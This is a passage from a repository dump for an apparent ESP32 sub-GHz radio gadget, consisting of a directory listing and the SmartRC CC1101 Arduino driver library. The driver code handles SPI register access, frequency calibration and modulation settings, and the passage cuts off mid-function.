Repository: FernandoHansen666/ScaryRF-315-433mhz Branch: main Commit: f792adee60ff Files: 157 Total size: 35.9 MB Directory structure: gitextract_gsvh4mke/ ├── .gitattributes ├── Bibliotecas/ │ ├── SmartRC-CC1101-Driver-Lib-master/ │ │ ├── ELECHOUSE_CC1101_SRC_DRV.cpp │ │ ├── ELECHOUSE_CC1101_SRC_DRV.h │ │ ├── LICENSE.txt │ │ ├── README.md │ │ ├── keywords.txt │ │ ├── library.json │ │ └── library.properties │ ├── U8g2/ │ │ ├── LICENSE │ │ ├── README.md │ │ ├── extras/ │ │ │ └── ChangeLog │ │ ├── keywords.txt │ │ ├── library.properties │ │ └── src/ │ │ ├── MUIU8g2.h │ │ ├── U8g2lib.cpp │ │ ├── U8g2lib.h │ │ ├── U8x8lib.cpp │ │ ├── U8x8lib.h │ │ └── clib/ │ │ ├── mui.c │ │ ├── mui.h │ │ ├── mui_u8g2.c │ │ ├── mui_u8g2.h │ │ ├── u8g2.h │ │ ├── u8g2_bitmap.c │ │ ├── u8g2_box.c │ │ ├── u8g2_buffer.c │ │ ├── u8g2_button.c │ │ ├── u8g2_circle.c │ │ ├── u8g2_cleardisplay.c │ │ ├── u8g2_d_memory.c │ │ ├── u8g2_d_setup.c │ │ ├── u8g2_font.c │ │ ├── u8g2_fonts.c │ │ ├── u8g2_hvline.c │ │ ├── u8g2_input_value.c │ │ ├── u8g2_intersection.c │ │ ├── u8g2_kerning.c │ │ ├── u8g2_line.c │ │ ├── u8g2_ll_hvline.c │ │ ├── u8g2_message.c │ │ ├── u8g2_polygon.c │ │ ├── u8g2_selection_list.c │ │ ├── u8g2_setup.c │ │ ├── u8log.c │ │ ├── u8log_u8g2.c │ │ ├── u8log_u8x8.c │ │ ├── u8x8.h │ │ ├── u8x8_8x8.c │ │ ├── u8x8_byte.c │ │ ├── u8x8_cad.c │ │ ├── u8x8_capture.c │ │ ├── u8x8_d_a2printer.c │ │ ├── u8x8_d_gp1247ai.c │ │ ├── u8x8_d_gp1287ai.c │ │ ├── u8x8_d_gu800.c │ │ ├── u8x8_d_hd44102.c │ │ ├── u8x8_d_il3820_296x128.c │ │ ├── u8x8_d_ist3020.c │ │ ├── u8x8_d_ist3088.c │ │ ├── u8x8_d_ist7920.c │ │ ├── u8x8_d_ks0108.c │ │ ├── u8x8_d_lc7981.c │ │ ├── u8x8_d_ld7032_60x32.c │ │ ├── u8x8_d_ls013b7dh03.c │ │ ├── u8x8_d_max7219.c │ │ ├── u8x8_d_pcd8544_84x48.c │ │ ├── u8x8_d_pcf8812.c │ │ ├── u8x8_d_pcf8814_hx1230.c │ │ ├── u8x8_d_s1d15300.c │ │ ├── u8x8_d_s1d15721.c │ │ ├── u8x8_d_s1d15e06.c │ │ ├── u8x8_d_sbn1661.c │ │ ├── u8x8_d_sed1330.c │ │ ├── u8x8_d_sh1106_64x32.c │ │ ├── u8x8_d_sh1106_72x40.c │ │ ├── u8x8_d_sh1107.c │ │ ├── u8x8_d_sh1108.c │ │ ├── u8x8_d_sh1122.c │ │ ├── u8x8_d_ssd1305.c │ │ ├── u8x8_d_ssd1306_128x32.c │ │ ├── u8x8_d_ssd1306_128x64_noname.c │ │ ├── u8x8_d_ssd1306_2040x16.c │ │ ├── u8x8_d_ssd1306_48x64.c │ │ ├── u8x8_d_ssd1306_64x32.c │ │ ├── u8x8_d_ssd1306_64x48.c │ │ ├── u8x8_d_ssd1306_72x40.c │ │ ├── u8x8_d_ssd1306_96x16.c │ │ ├── u8x8_d_ssd1306_96x40.c │ │ ├── u8x8_d_ssd1309.c │ │ ├── u8x8_d_ssd1316.c │ │ ├── u8x8_d_ssd1317.c │ │ ├── u8x8_d_ssd1318.c │ │ ├── u8x8_d_ssd1320.c │ │ ├── u8x8_d_ssd1322.c │ │ ├── u8x8_d_ssd1325.c │ │ ├── u8x8_d_ssd1326.c │ │ ├── u8x8_d_ssd1327.c │ │ ├── u8x8_d_ssd1329.c │ │ ├── u8x8_d_ssd1362.c │ │ ├── u8x8_d_ssd1606_172x72.c │ │ ├── u8x8_d_ssd1607_200x200.c │ │ ├── u8x8_d_st7511.c │ │ ├── u8x8_d_st75160.c │ │ ├── u8x8_d_st75256.c │ │ ├── u8x8_d_st7528.c │ │ ├── u8x8_d_st75320.c │ │ ├── u8x8_d_st7539.c │ │ ├── u8x8_d_st7565.c │ │ ├── u8x8_d_st7567.c │ │ ├── u8x8_d_st7571.c │ │ ├── u8x8_d_st7586s_erc240160.c │ │ ├── u8x8_d_st7586s_jlx384160.c │ │ ├── u8x8_d_st7586s_s028hn118a.c │ │ ├── u8x8_d_st7586s_ymc240160.c │ │ ├── u8x8_d_st7588.c │ │ ├── u8x8_d_st7920.c │ │ ├── u8x8_d_t6963.c │ │ ├── u8x8_d_uc1601.c │ │ ├── u8x8_d_uc1604.c │ │ ├── u8x8_d_uc1608.c │ │ ├── u8x8_d_uc1609.c │ │ ├── u8x8_d_uc1610.c │ │ ├── u8x8_d_uc1611.c │ │ ├── u8x8_d_uc1617.c │ │ ├── u8x8_d_uc1638.c │ │ ├── u8x8_d_uc1701_dogs102.c │ │ ├── u8x8_d_uc1701_mini12864.c │ │ ├── u8x8_debounce.c │ │ ├── u8x8_display.c │ │ ├── u8x8_fonts.c │ │ ├── u8x8_gpio.c │ │ ├── u8x8_input_value.c │ │ ├── u8x8_message.c │ │ ├── u8x8_selection_list.c │ │ ├── u8x8_setup.c │ │ ├── u8x8_string.c │ │ ├── u8x8_u16toa.c │ │ └── u8x8_u8toa.c │ └── rc-switch-master/ │ ├── .gitignore │ ├── .travis.yml │ ├── RCSwitch.cpp │ ├── RCSwitch.h │ ├── README.md │ ├── keywords.txt │ ├── library.json │ └── library.properties ├── OLD Version/ │ ├── ScaryRF-NoSD-SH1106/ │ │ ├── Blespam.ino │ │ ├── Radiofreq.ino │ │ ├── ScaryRF-Main.ino │ │ └── Wifi.ino │ └── ScaryRF128x32-OLD/ │ └── ScaryRFTool-Tela-128x32.ino ├── README.md └── ScaryRF-V3/ ├── Blespam.ino ├── Radiofreq.ino ├── ScaryRF-V3.ino ├── SdCard.ino └── Wifi.ino ================================================ FILE CONTENTS ================================================ ================================================ FILE: .gitattributes ================================================ # Auto detect text files and perform LF normalization * text=auto ================================================ FILE: Bibliotecas/SmartRC-CC1101-Driver-Lib-master/ELECHOUSE_CC1101_SRC_DRV.cpp ================================================ /* ELECHOUSE_CC1101.cpp - CC1101 module library Copyright (c) 2010 Michael. Author: Michael, Version: November 12, 2010 This library is designed to use CC1101/CC1100 module on Arduino platform. CC1101/CC1100 module is an useful wireless module.Using the functions of the library, you can easily send and receive data by the CC1101/CC1100 module. Just have fun! For the details, please refer to the datasheet of CC1100/CC1101. ---------------------------------------------------------------------------------------------------------------- cc1101 Driver for RC Switch. Mod by Little Satan. With permission to modify and publish Wilson Shen (ELECHOUSE). ---------------------------------------------------------------------------------------------------------------- */ #include #include "ELECHOUSE_CC1101_SRC_DRV.h" #include /****************************************************************/ #define WRITE_BURST 0x40 //write burst #define READ_SINGLE 0x80 //read single #define READ_BURST 0xC0 //read burst #define BYTES_IN_RXFIFO 0x7F //byte number in RXfifo #define max_modul 6 byte modulation = 2; byte frend0; byte chan = 0; int pa = 12; byte last_pa; byte SCK_PIN; byte MISO_PIN; byte MOSI_PIN; byte SS_PIN; byte GDO0; byte GDO2; byte SCK_PIN_M[max_modul]; byte MISO_PIN_M[max_modul]; byte MOSI_PIN_M[max_modul]; byte SS_PIN_M[max_modul]; byte GDO0_M[max_modul]; byte GDO2_M[max_modul]; byte gdo_set=0; bool spi = 0; bool ccmode = 0; float MHz = 433.92; byte m4RxBw = 0; byte m4DaRa; byte m2DCOFF; byte m2MODFM; byte m2MANCH; byte m2SYNCM; byte m1FEC; byte m1PRE; byte m1CHSP; byte pc1PQT; byte pc1CRC_AF; byte pc1APP_ST; byte pc1ADRCHK; byte pc0WDATA; byte pc0PktForm; byte pc0CRC_EN; byte pc0LenConf; byte trxstate = 0; byte clb1[2]= {24,28}; byte clb2[2]= {31,38}; byte clb3[2]= {65,76}; byte clb4[2]= {77,79}; /****************************************************************/ uint8_t PA_TABLE[8] {0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00}; // -30 -20 -15 -10 0 5 7 10 uint8_t PA_TABLE_315[8] {0x12,0x0D,0x1C,0x34,0x51,0x85,0xCB,0xC2,}; //300 - 348 uint8_t PA_TABLE_433[8] {0x12,0x0E,0x1D,0x34,0x60,0x84,0xC8,0xC0,}; //387 - 464 // -30 -20 -15 -10 -6 0 5 7 10 12 uint8_t PA_TABLE_868[10] {0x03,0x17,0x1D,0x26,0x37,0x50,0x86,0xCD,0xC5,0xC0,}; //779 - 899.99 // -30 -20 -15 -10 -6 0 5 7 10 11 uint8_t PA_TABLE_915[10] {0x03,0x0E,0x1E,0x27,0x38,0x8E,0x84,0xCC,0xC3,0xC0,}; //900 - 928 /**************************************************************** *FUNCTION NAME:SpiStart *FUNCTION :spi communication start *INPUT :none *OUTPUT :none ****************************************************************/ void ELECHOUSE_CC1101::SpiStart(void) { // initialize the SPI pins pinMode(SCK_PIN, OUTPUT); pinMode(MOSI_PIN, OUTPUT); pinMode(MISO_PIN, INPUT); pinMode(SS_PIN, OUTPUT); // enable SPI #ifdef ESP32 SPI.begin(SCK_PIN, MISO_PIN, MOSI_PIN, SS_PIN); #else SPI.begin(); #endif } /**************************************************************** *FUNCTION NAME:SpiEnd *FUNCTION :spi communication disable *INPUT :none *OUTPUT :none ****************************************************************/ void ELECHOUSE_CC1101::SpiEnd(void) { // disable SPI SPI.endTransaction(); SPI.end(); } /**************************************************************** *FUNCTION NAME: GDO_Set() *FUNCTION : set GDO0,GDO2 pin for serial pinmode. *INPUT : none *OUTPUT : none ****************************************************************/ void ELECHOUSE_CC1101::GDO_Set (void) { pinMode(GDO0, OUTPUT); pinMode(GDO2, INPUT); } /**************************************************************** *FUNCTION NAME: GDO_Set() *FUNCTION : set GDO0 for internal transmission mode. *INPUT : none *OUTPUT : none ****************************************************************/ void ELECHOUSE_CC1101::GDO0_Set (void) { pinMode(GDO0, INPUT); } /**************************************************************** *FUNCTION NAME:Reset *FUNCTION :CC1101 reset //details refer datasheet of CC1101/CC1100// *INPUT :none *OUTPUT :none ****************************************************************/ void ELECHOUSE_CC1101::Reset (void) { digitalWrite(SS_PIN, LOW); delay(1); digitalWrite(SS_PIN, HIGH); delay(1); digitalWrite(SS_PIN, LOW); while(digitalRead(MISO_PIN)); SPI.transfer(CC1101_SRES); while(digitalRead(MISO_PIN)); digitalWrite(SS_PIN, HIGH); } /**************************************************************** *FUNCTION NAME:Init *FUNCTION :CC1101 initialization *INPUT :none *OUTPUT :none ****************************************************************/ void ELECHOUSE_CC1101::Init(void) { setSpi(); SpiStart(); //spi initialization digitalWrite(SS_PIN, HIGH); digitalWrite(SCK_PIN, HIGH); digitalWrite(MOSI_PIN, LOW); Reset(); //CC1101 reset RegConfigSettings(); //CC1101 register config SpiEnd(); } /**************************************************************** *FUNCTION NAME:SpiWriteReg *FUNCTION :CC1101 write data to register *INPUT :addr: register address; value: register value *OUTPUT :none ****************************************************************/ void ELECHOUSE_CC1101::SpiWriteReg(byte addr, byte value) { SpiStart(); digitalWrite(SS_PIN, LOW); while(digitalRead(MISO_PIN)); SPI.transfer(addr); SPI.transfer(value); digitalWrite(SS_PIN, HIGH); SpiEnd(); } /**************************************************************** *FUNCTION NAME:SpiWriteBurstReg *FUNCTION :CC1101 write burst data to register *INPUT :addr: register address; buffer:register value array; num:number to write *OUTPUT :none ****************************************************************/ void ELECHOUSE_CC1101::SpiWriteBurstReg(byte addr, byte *buffer, byte num) { byte i, temp; SpiStart(); temp = addr | WRITE_BURST; digitalWrite(SS_PIN, LOW); while(digitalRead(MISO_PIN)); SPI.transfer(temp); for (i = 0; i < num; i++) { SPI.transfer(buffer[i]); } digitalWrite(SS_PIN, HIGH); SpiEnd(); } /**************************************************************** *FUNCTION NAME:SpiStrobe *FUNCTION :CC1101 Strobe *INPUT :strobe: command; //refer define in CC1101.h// *OUTPUT :none ****************************************************************/ void ELECHOUSE_CC1101::SpiStrobe(byte strobe) { SpiStart(); digitalWrite(SS_PIN, LOW); while(digitalRead(MISO_PIN)); SPI.transfer(strobe); digitalWrite(SS_PIN, HIGH); SpiEnd(); } /**************************************************************** *FUNCTION NAME:SpiReadReg *FUNCTION :CC1101 read data from register *INPUT :addr: register address *OUTPUT :register value ****************************************************************/ byte ELECHOUSE_CC1101::SpiReadReg(byte addr) { byte temp, value; SpiStart(); temp = addr| READ_SINGLE; digitalWrite(SS_PIN, LOW); while(digitalRead(MISO_PIN)); SPI.transfer(temp); value=SPI.transfer(0); digitalWrite(SS_PIN, HIGH); SpiEnd(); return value; } /**************************************************************** *FUNCTION NAME:SpiReadBurstReg *FUNCTION :CC1101 read burst data from register *INPUT :addr: register address; buffer:array to store register value; num: number to read *OUTPUT :none ****************************************************************/ void ELECHOUSE_CC1101::SpiReadBurstReg(byte addr, byte *buffer, byte num) { byte i,temp; SpiStart(); temp = addr | READ_BURST; digitalWrite(SS_PIN, LOW); while(digitalRead(MISO_PIN)); SPI.transfer(temp); for(i=0;i4){m=4;} modulation = m; Split_MDMCFG2(); switch (m) { case 0: m2MODFM=0x00; frend0=0x10; break; // 2-FSK case 1: m2MODFM=0x10; frend0=0x10; break; // GFSK case 2: m2MODFM=0x30; frend0=0x11; break; // ASK case 3: m2MODFM=0x40; frend0=0x10; break; // 4-FSK case 4: m2MODFM=0x70; frend0=0x10; break; // MSK } SpiWriteReg(CC1101_MDMCFG2, m2DCOFF+m2MODFM+m2MANCH+m2SYNCM); SpiWriteReg(CC1101_FREND0, frend0); setPA(pa); } /**************************************************************** *FUNCTION NAME:PA Power *FUNCTION :set CC1101 PA Power *INPUT :none *OUTPUT :none ****************************************************************/ void ELECHOUSE_CC1101::setPA(int p) { int a; pa = p; if (MHz >= 300 && MHz <= 348){ if (pa <= -30){a = PA_TABLE_315[0];} else if (pa > -30 && pa <= -20){a = PA_TABLE_315[1];} else if (pa > -20 && pa <= -15){a = PA_TABLE_315[2];} else if (pa > -15 && pa <= -10){a = PA_TABLE_315[3];} else if (pa > -10 && pa <= 0){a = PA_TABLE_315[4];} else if (pa > 0 && pa <= 5){a = PA_TABLE_315[5];} else if (pa > 5 && pa <= 7){a = PA_TABLE_315[6];} else if (pa > 7){a = PA_TABLE_315[7];} last_pa = 1; } else if (MHz >= 378 && MHz <= 464){ if (pa <= -30){a = PA_TABLE_433[0];} else if (pa > -30 && pa <= -20){a = PA_TABLE_433[1];} else if (pa > -20 && pa <= -15){a = PA_TABLE_433[2];} else if (pa > -15 && pa <= -10){a = PA_TABLE_433[3];} else if (pa > -10 && pa <= 0){a = PA_TABLE_433[4];} else if (pa > 0 && pa <= 5){a = PA_TABLE_433[5];} else if (pa > 5 && pa <= 7){a = PA_TABLE_433[6];} else if (pa > 7){a = PA_TABLE_433[7];} last_pa = 2; } else if (MHz >= 779 && MHz <= 899.99){ if (pa <= -30){a = PA_TABLE_868[0];} else if (pa > -30 && pa <= -20){a = PA_TABLE_868[1];} else if (pa > -20 && pa <= -15){a = PA_TABLE_868[2];} else if (pa > -15 && pa <= -10){a = PA_TABLE_868[3];} else if (pa > -10 && pa <= -6){a = PA_TABLE_868[4];} else if (pa > -6 && pa <= 0){a = PA_TABLE_868[5];} else if (pa > 0 && pa <= 5){a = PA_TABLE_868[6];} else if (pa > 5 && pa <= 7){a = PA_TABLE_868[7];} else if (pa > 7 && pa <= 10){a = PA_TABLE_868[8];} else if (pa > 10){a = PA_TABLE_868[9];} last_pa = 3; } else if (MHz >= 900 && MHz <= 928){ if (pa <= -30){a = PA_TABLE_915[0];} else if (pa > -30 && pa <= -20){a = PA_TABLE_915[1];} else if (pa > -20 && pa <= -15){a = PA_TABLE_915[2];} else if (pa > -15 && pa <= -10){a = PA_TABLE_915[3];} else if (pa > -10 && pa <= -6){a = PA_TABLE_915[4];} else if (pa > -6 && pa <= 0){a = PA_TABLE_915[5];} else if (pa > 0 && pa <= 5){a = PA_TABLE_915[6];} else if (pa > 5 && pa <= 7){a = PA_TABLE_915[7];} else if (pa > 7 && pa <= 10){a = PA_TABLE_915[8];} else if (pa > 10){a = PA_TABLE_915[9];} last_pa = 4; } if (modulation == 2){ PA_TABLE[0] = 0; PA_TABLE[1] = a; }else{ PA_TABLE[0] = a; PA_TABLE[1] = 0; } SpiWriteBurstReg(CC1101_PATABLE,PA_TABLE,8); } /**************************************************************** *FUNCTION NAME:Frequency Calculator *FUNCTION :Calculate the basic frequency. *INPUT :none *OUTPUT :none ****************************************************************/ void ELECHOUSE_CC1101::setMHZ(float mhz){ byte freq2 = 0; byte freq1 = 0; byte freq0 = 0; MHz = mhz; for (bool i = 0; i==0;){ if (mhz >= 26){ mhz-=26; freq2+=1; } else if (mhz >= 0.1015625){ mhz-=0.1015625; freq1+=1; } else if (mhz >= 0.00039675){ mhz-=0.00039675; freq0+=1; } else{i=1;} } if (freq0 > 255){freq1+=1;freq0-=256;} SpiWriteReg(CC1101_FREQ2, freq2); SpiWriteReg(CC1101_FREQ1, freq1); SpiWriteReg(CC1101_FREQ0, freq0); Calibrate(); } /**************************************************************** *FUNCTION NAME:Calibrate *FUNCTION :Calibrate frequency *INPUT :none *OUTPUT :none ****************************************************************/ void ELECHOUSE_CC1101::Calibrate(void){ if (MHz >= 300 && MHz <= 348){ SpiWriteReg(CC1101_FSCTRL0, map(MHz, 300, 348, clb1[0], clb1[1])); if (MHz < 322.88){SpiWriteReg(CC1101_TEST0,0x0B);} else{ SpiWriteReg(CC1101_TEST0,0x09); int s = ELECHOUSE_cc1101.SpiReadStatus(CC1101_FSCAL2); if (s<32){SpiWriteReg(CC1101_FSCAL2, s+32);} if (last_pa != 1){setPA(pa);} } } else if (MHz >= 378 && MHz <= 464){ SpiWriteReg(CC1101_FSCTRL0, map(MHz, 378, 464, clb2[0], clb2[1])); if (MHz < 430.5){SpiWriteReg(CC1101_TEST0,0x0B);} else{ SpiWriteReg(CC1101_TEST0,0x09); int s = ELECHOUSE_cc1101.SpiReadStatus(CC1101_FSCAL2); if (s<32){SpiWriteReg(CC1101_FSCAL2, s+32);} if (last_pa != 2){setPA(pa);} } } else if (MHz >= 779 && MHz <= 899.99){ SpiWriteReg(CC1101_FSCTRL0, map(MHz, 779, 899, clb3[0], clb3[1])); if (MHz < 861){SpiWriteReg(CC1101_TEST0,0x0B);} else{ SpiWriteReg(CC1101_TEST0,0x09); int s = ELECHOUSE_cc1101.SpiReadStatus(CC1101_FSCAL2); if (s<32){SpiWriteReg(CC1101_FSCAL2, s+32);} if (last_pa != 3){setPA(pa);} } } else if (MHz >= 900 && MHz <= 928){ SpiWriteReg(CC1101_FSCTRL0, map(MHz, 900, 928, clb4[0], clb4[1])); SpiWriteReg(CC1101_TEST0,0x09); int s = ELECHOUSE_cc1101.SpiReadStatus(CC1101_FSCAL2); if (s<32){SpiWriteReg(CC1101_FSCAL2, s+32);} if (last_pa != 4){setPA(pa);} } } /**************************************************************** *FUNCTION NAME:Calibration offset *FUNCTION :Set calibration offset *INPUT :none *OUTPUT :none ****************************************************************/ void ELECHOUSE_CC1101::setClb(byte b, byte s, byte e){ if (b == 1){ clb1[0]=s; clb1[1]=e; } else if (b == 2){ clb2[0]=s; clb2[1]=e; } else if (b == 3){ clb3[0]=s; clb3[1]=e; } else if (b == 4){ clb4[0]=s; clb4[1]=e; } } /**************************************************************** *FUNCTION NAME:getCC1101 *FUNCTION :Test Spi connection and return 1 when true. *INPUT :none *OUTPUT :none ****************************************************************/ bool ELECHOUSE_CC1101::getCC1101(void){ setSpi(); if (SpiReadStatus(0x31)>0){ return 1; }else{ return 0; } } /**************************************************************** *FUNCTION NAME:getMode *FUNCTION :Return the Mode. Sidle = 0, TX = 1, Rx = 2. *INPUT :none *OUTPUT :none ****************************************************************/ byte ELECHOUSE_CC1101::getMode(void){ return trxstate; } /**************************************************************** *FUNCTION NAME:Set Sync_Word *FUNCTION :Sync Word *INPUT :none *OUTPUT :none ****************************************************************/ void ELECHOUSE_CC1101::setSyncWord(byte sh, byte sl){ SpiWriteReg(CC1101_SYNC1, sh); SpiWriteReg(CC1101_SYNC0, sl); } /**************************************************************** *FUNCTION NAME:Set ADDR *FUNCTION :Address used for packet filtration. Optional broadcast addresses are 0 (0x00) and 255 (0xFF). *INPUT :none *OUTPUT :none ****************************************************************/ void ELECHOUSE_CC1101::setAddr(byte v){ SpiWriteReg(CC1101_ADDR, v); } /**************************************************************** *FUNCTION NAME:Set PQT *FUNCTION :Preamble quality estimator threshold *INPUT :none *OUTPUT :none ****************************************************************/ void ELECHOUSE_CC1101::setPQT(byte v){ Split_PKTCTRL1(); pc1PQT = 0; if (v>7){v=7;} pc1PQT = v*32; SpiWriteReg(CC1101_PKTCTRL1, pc1PQT+pc1CRC_AF+pc1APP_ST+pc1ADRCHK); } /**************************************************************** *FUNCTION NAME:Set CRC_AUTOFLUSH *FUNCTION :Enable automatic flush of RX FIFO when CRC is not OK *INPUT :none *OUTPUT :none ****************************************************************/ void ELECHOUSE_CC1101::setCRC_AF(bool v){ Split_PKTCTRL1(); pc1CRC_AF = 0; if (v==1){pc1CRC_AF=8;} SpiWriteReg(CC1101_PKTCTRL1, pc1PQT+pc1CRC_AF+pc1APP_ST+pc1ADRCHK); } /**************************************************************** *FUNCTION NAME:Set APPEND_STATUS *FUNCTION :When enabled, two status bytes will be appended to the payload of the packet *INPUT :none *OUTPUT :none ****************************************************************/ void ELECHOUSE_CC1101::setAppendStatus(bool v){ Split_PKTCTRL1(); pc1APP_ST = 0; if (v==1){pc1APP_ST=4;} SpiWriteReg(CC1101_PKTCTRL1, pc1PQT+pc1CRC_AF+pc1APP_ST+pc1ADRCHK); } /**************************************************************** *FUNCTION NAME:Set ADR_CHK *FUNCTION :Controls address check configuration of received packages *INPUT :none *OUTPUT :none ****************************************************************/ void ELECHOUSE_CC1101::setAdrChk(byte v){ Split_PKTCTRL1(); pc1ADRCHK = 0; if (v>3){v=3;} pc1ADRCHK = v; SpiWriteReg(CC1101_PKTCTRL1, pc1PQT+pc1CRC_AF+pc1APP_ST+pc1ADRCHK); } /**************************************************************** *FUNCTION NAME:Set WHITE_DATA *FUNCTION :Turn data whitening on / off. *INPUT :none *OUTPUT :none ****************************************************************/ void ELECHOUSE_CC1101::setWhiteData(bool v){ Split_PKTCTRL0(); pc0WDATA = 0; if (v == 1){pc0WDATA=64;} SpiWriteReg(CC1101_PKTCTRL0, pc0WDATA+pc0PktForm+pc0CRC_EN+pc0LenConf); } /**************************************************************** *FUNCTION NAME:Set PKT_FORMAT *FUNCTION :Format of RX and TX data *INPUT :none *OUTPUT :none ****************************************************************/ void ELECHOUSE_CC1101::setPktFormat(byte v){ Split_PKTCTRL0(); pc0PktForm = 0; if (v>3){v=3;} pc0PktForm = v*16; SpiWriteReg(CC1101_PKTCTRL0, pc0WDATA+pc0PktForm+pc0CRC_EN+pc0LenConf); } /**************************************************************** *FUNCTION NAME:Set CRC *FUNCTION :CRC calculation in TX and CRC check in RX *INPUT :none *OUTPUT :none ****************************************************************/ void ELECHOUSE_CC1101::setCrc(bool v){ Split_PKTCTRL0(); pc0CRC_EN = 0; if (v==1){pc0CRC_EN=4;} SpiWriteReg(CC1101_PKTCTRL0, pc0WDATA+pc0PktForm+pc0CRC_EN+pc0LenConf); } /**************************************************************** *FUNCTION NAME:Set LENGTH_CONFIG *FUNCTION :Configure the packet length *INPUT :none *OUTPUT :none ****************************************************************/ void ELECHOUSE_CC1101::setLengthConfig(byte v){ Split_PKTCTRL0(); pc0LenConf = 0; if (v>3){v=3;} pc0LenConf = v; SpiWriteReg(CC1101_PKTCTRL0, pc0WDATA+pc0PktForm+pc0CRC_EN+pc0LenConf); } /**************************************************************** *FUNCTION NAME:Set PACKET_LENGTH *FUNCTION :Indicates the packet length *INPUT :none *OUTPUT :none ****************************************************************/ void ELECHOUSE_CC1101::setPacketLength(byte v){ SpiWriteReg(CC1101_PKTLEN, v); } /**************************************************************** *FUNCTION NAME:Set DCFILT_OFF *FUNCTION :Disable digital DC blocking filter before demodulator *INPUT :none *OUTPUT :none ****************************************************************/ void ELECHOUSE_CC1101::setDcFilterOff(bool v){ Split_MDMCFG2(); m2DCOFF = 0; if (v==1){m2DCOFF=128;} SpiWriteReg(CC1101_MDMCFG2, m2DCOFF+m2MODFM+m2MANCH+m2SYNCM); } /**************************************************************** *FUNCTION NAME:Set MANCHESTER *FUNCTION :Enables Manchester encoding/decoding *INPUT :none *OUTPUT :none ****************************************************************/ void ELECHOUSE_CC1101::setManchester(bool v){ Split_MDMCFG2(); m2MANCH = 0; if (v==1){m2MANCH=8;} SpiWriteReg(CC1101_MDMCFG2, m2DCOFF+m2MODFM+m2MANCH+m2SYNCM); } /**************************************************************** *FUNCTION NAME:Set SYNC_MODE *FUNCTION :Combined sync-word qualifier mode *INPUT :none *OUTPUT :none ****************************************************************/ void ELECHOUSE_CC1101::setSyncMode(byte v){ Split_MDMCFG2(); m2SYNCM = 0; if (v>7){v=7;} m2SYNCM=v; SpiWriteReg(CC1101_MDMCFG2, m2DCOFF+m2MODFM+m2MANCH+m2SYNCM); } /**************************************************************** *FUNCTION NAME:Set FEC *FUNCTION :Enable Forward Error Correction (FEC) *INPUT :none *OUTPUT :none ****************************************************************/ void ELECHOUSE_CC1101::setFEC(bool v){ Split_MDMCFG1(); m1FEC=0; if (v==1){m1FEC=128;} SpiWriteReg(CC1101_MDMCFG1, m1FEC+m1PRE+m1CHSP); } /**************************************************************** *FUNCTION NAME:Set PRE *FUNCTION :Sets the minimum number of preamble bytes to be transmitted. *INPUT :none *OUTPUT :none ****************************************************************/ void ELECHOUSE_CC1101::setPRE(byte v){ Split_MDMCFG1(); m1PRE=0; if (v>7){v=7;} m1PRE = v*16; SpiWriteReg(CC1101_MDMCFG1, m1FEC+m1PRE+m1CHSP); } /**************************************************************** *FUNCTION NAME:Set Channel *FUNCTION :none *INPUT :none *OUTPUT :none ****************************************************************/ void ELECHOUSE_CC1101::setChannel(byte ch){ chan = ch; SpiWriteReg(CC1101_CHANNR, chan); } /**************************************************************** *FUNCTION NAME:Set Channel spacing *FUNCTION :none *INPUT :none *OUTPUT :none ****************************************************************/ void ELECHOUSE_CC1101::setChsp(float f){ Split_MDMCFG1(); byte MDMCFG0 = 0; m1CHSP = 0; if (f > 405.456543){f = 405.456543;} if (f < 25.390625){f = 25.390625;} for (int i = 0; i<5; i++){ if (f <= 50.682068){ f -= 25.390625; f /= 0.0991825; MDMCFG0 = f; float s1 = (f - MDMCFG0) *10; if (s1 >= 5){MDMCFG0++;} i = 5; }else{ m1CHSP++; f/=2; } } SpiWriteReg(19,m1CHSP+m1FEC+m1PRE); SpiWriteReg(20,MDMCFG0); } /**************************************************************** *FUNCTION NAME:Set Receive bandwidth *FUNCTION :none *INPUT :none *OUTPUT :none ****************************************************************/ void ELECHOUSE_CC1101::setRxBW(float f){ Split_MDMCFG4(); int s1 = 3; int s2 = 3; for (int i = 0; i<3; i++){ if (f > 101.5625){f/=2; s1--;} else{i=3;} } for (int i = 0; i<3; i++){ if (f > 58.1){f/=1.25; s2--;} else{i=3;} } s1 *= 64; s2 *= 16; m4RxBw = s1 + s2; SpiWriteReg(16,m4RxBw+m4DaRa); } /**************************************************************** *FUNCTION NAME:Set Data Rate *FUNCTION :none *INPUT :none *OUTPUT :none ****************************************************************/ void ELECHOUSE_CC1101::setDRate(float d){ Split_MDMCFG4(); float c = d; byte MDMCFG3 = 0; if (c > 1621.83){c = 1621.83;} if (c < 0.0247955){c = 0.0247955;} m4DaRa = 0; for (int i = 0; i<20; i++){ if (c <= 0.0494942){ c = c - 0.0247955; c = c / 0.00009685; MDMCFG3 = c; float s1 = (c - MDMCFG3) *10; if (s1 >= 5){MDMCFG3++;} i = 20; }else{ m4DaRa++; c = c/2; } } SpiWriteReg(16, m4RxBw+m4DaRa); SpiWriteReg(17, MDMCFG3); } /**************************************************************** *FUNCTION NAME:Set Devitation *FUNCTION :none *INPUT :none *OUTPUT :none ****************************************************************/ void ELECHOUSE_CC1101::setDeviation(float d){ float f = 1.586914; float v = 0.19836425; int c = 0; if (d > 380.859375){d = 380.859375;} if (d < 1.586914){d = 1.586914;} for (int i = 0; i<255; i++){ f+=v; if (c==7){v*=2;c=-1;i+=8;} if (f>=d){c=i;i=255;} c++; } SpiWriteReg(21,c); } /**************************************************************** *FUNCTION NAME:Split PKTCTRL0 *FUNCTION :none *INPUT :none *OUTPUT :none ****************************************************************/ void ELECHOUSE_CC1101::Split_PKTCTRL1(void){ int calc = SpiReadStatus(7); pc1PQT = 0; pc1CRC_AF = 0; pc1APP_ST = 0; pc1ADRCHK = 0; for (bool i = 0; i==0;){ if (calc >= 32){calc-=32; pc1PQT+=32;} else if (calc >= 8){calc-=8; pc1CRC_AF+=8;} else if (calc >= 4){calc-=4; pc1APP_ST+=4;} else {pc1ADRCHK = calc; i=1;} } } /**************************************************************** *FUNCTION NAME:Split PKTCTRL0 *FUNCTION :none *INPUT :none *OUTPUT :none ****************************************************************/ void ELECHOUSE_CC1101::Split_PKTCTRL0(void){ int calc = SpiReadStatus(8); pc0WDATA = 0; pc0PktForm = 0; pc0CRC_EN = 0; pc0LenConf = 0; for (bool i = 0; i==0;){ if (calc >= 64){calc-=64; pc0WDATA+=64;} else if (calc >= 16){calc-=16; pc0PktForm+=16;} else if (calc >= 4){calc-=4; pc0CRC_EN+=4;} else {pc0LenConf = calc; i=1;} } } /**************************************************************** *FUNCTION NAME:Split MDMCFG1 *FUNCTION :none *INPUT :none *OUTPUT :none ****************************************************************/ void 